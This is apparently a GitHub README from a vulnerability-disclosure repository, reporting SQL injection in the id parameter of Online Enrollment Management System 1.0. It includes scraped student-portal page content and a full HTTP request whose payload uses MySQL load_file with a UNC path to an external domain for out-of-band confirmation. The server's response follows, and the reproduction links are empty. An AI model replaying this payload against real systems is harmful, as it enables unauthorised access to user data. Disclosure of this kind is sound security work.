

main CVE-nu11secu1ty / vendors / janobe / Online-Enrollment-Management-System /

nu11secu1ty Update README.MD ... on Dec 3, 2021 History

..	
PoC	last year
docs	last year
README.MD	last year

README.MD

## Online-Enrollment-Management-System


### Vendor

Call Us: (083) 228-9722 OR Email Us: Admission@greenvalleyph.com Academic Year - 2021-2022 | Second Semester

**Foundation, Inc.**

Mike Williams

HomeDepartmentEnroll NowContact UsAbout Us



List of SubjectsGradesUpdate Account

Enrolled Subjects

Subject	Description	Unit	Schedule			
			Day	Time	Room	Section
Eng 121	Writing in the Disc.	3	MWF	08:30 am-09:30 am	6	2
Fil 121	Pagbasa at Pagsulat	3	TTH	07:30 am-09:00 am	8	2
Math 2	Contemporary Math	3	MWF	07:30 am-08:30 am	8	2
SCE 121	Survey of BioSci	3	MWF	10:30 am-11:30 am	10	2
SCE 122	Astronomy	3	MWF	02:30 pm-03:30 pm	4	2
Lit 111	Philippine Literature	3	TTH	01:30 pm-03:00 pm	6	2
Read 2	Development Rdg. 2	3	MWF	03:00 pm-04:30 pm	3	2
PE 121	Rhythmic Activities	2	TH	04:30 pm-06:30 pm	1	2
NSTP 121	Natl Service Trang. Prog. 2	3	MWF	09:30 am-10:30 am	3	2

Print

Real nameMike Williams

CourseBEED General-1

StatusNew

### Description:

The id parameter from Online Enrollment Management System 1.0 appears to be vulnerable to SQL injection attacks. The payload (select load\_file('\\5bhtyx01jb7u7d6h2uthd4khq8w1ktch3jrbe12q.nu11secu1typentestingengineer.net\ofp')) was submitted in the id parameter. This payload injects a SQL sub-query that calls MySQL's load\_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can retrieve sensitive information for all users of this system. STATUS: Critical and Awful.

### Mysql Request:

```
POST /onlineenrolmentsystem/menu1.php HTTP/1.1
Host: 192.168.10.73
Origin: http://192.168.10.73
Cookie: PHPSESSID=5hjmc8ms45586p1rqdv1ld9gd
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://192.168.10.73/onlineenrolmentsystem/index.php?q=department
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 5

id=(select%20load_file('%5c%5c%5c5bhtyx01jb7u7d6h2uthd4khq8w1ktch3jrbe12q.nu11secu1typentrationontestingengineer.net%5c%5cofp'))
```

### MySQL Response:

```
HTTP/1.1 200 OK
Date: Fri, 03 Dec 2021 12:11:35 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24
```

X-Powered-By: PHP/7.4.24  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 159  
Connection: close  
Content-Type: text/html; charset=UTF-8

```
<!-- Projects Row -->
<div class="row">
<div class="col-md-12">
<ul>

</ul>
</div>
</div>
<!-- /.row -->
```

## Reproduce:

---

[href](#)

## Proof and Exploit:

---

[href](#)